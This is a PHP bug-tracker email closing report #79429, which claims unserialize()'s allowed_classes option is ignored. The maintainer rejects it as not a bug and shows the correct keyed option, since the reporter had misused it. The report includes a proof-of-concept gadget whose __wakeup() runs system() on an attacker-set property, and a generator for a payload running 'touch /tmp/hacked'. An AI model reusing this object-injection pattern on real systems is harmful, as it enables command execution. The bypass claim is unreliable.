Sec Bug->Bug #79429 [Opn->Nab]: $options parameter of unserialize is ignored
| From: | cmb@php.net | Date: | Mon, 30 Mar 2020 11:25:38 +0000 |
| Subject: | Sec Bug->Bug #79429 [Opn->Nab]: $options parameter of unserialize is ignored | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-226340@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=79429&edit=1
ID: 79429
Updated by: cmb@php.net
Reported by: fady dot mohamed dot osman at gmail dot com
Summary: $options parameter of unserialize is ignored
-Status: Open
+Status: Not a bug
-Type: Security
+Type: Bug
Package: Unknown/Other Function
Operating System: Linux
PHP Version: Irrelevant
-Assigned To:
+Assigned To: cmb
Block user comment: N
Private report: Y
New Comment:
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to
report
a bug at http://bugs.php.net/how-to-report.php
unserialize($_POST["serialized"],['allowed_classes' => "MayBe"]);
Previous Comments:
------------------------------------------------------------------------
[2020-03-29 17:52:44] fady dot mohamed dot osman at gmail dot com
Description:
------------
Not sure if this is expected behavior but it seems odd, the second parameter of unserialize is
completely useless, any class can be easily loaded even if not defined in the array (second
parameter of unserialize), this is due to the following:
* PHP automatically defines a member variable if it doesn't exist in the class definition.
* Unserialize does the same if undefined value was provided it will define it and if it's a
class it will create an object without checking if it's in the whitelist.
By providing a dummy variable that doesn't exist in a class that is allowed by the second
parameter of an allowed class we can deserialize any class of our choice.
Test script:
---------------
-- Code that does the deserialization --
<?php
class Helper
{
public $dummy = "asdasd";
public $exec = "ls";
public function __wakeup()
{
system($this->exec);
}
}
class MayBe {
public $myvar = "OK";
}
if(isset($_POST["serialized"])) {
unserialize($_POST["serialized"],["MayBe"]);
$message = "Data was unserialized!!";
}
-- Code to generate a serialized string that will bypass the check ---
$myhelper = new Helper;
$myclass = new MayBe;
$myclass->myvar = "WOW";
$myhelper->exec = "touch /tmp/hacked";
//This is not defined in the MayBe class but will automatically defined upon deserialization.
$myclass->dummy = $myhelper;
echo serialize($myclass);
?>
Expected result:
----------------
The method shouldn't deserialize a class that is not in the list.
Actual result:
--------------
Any class can be deserialized regardless of the second argument of unserialize.
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=79429&edit=1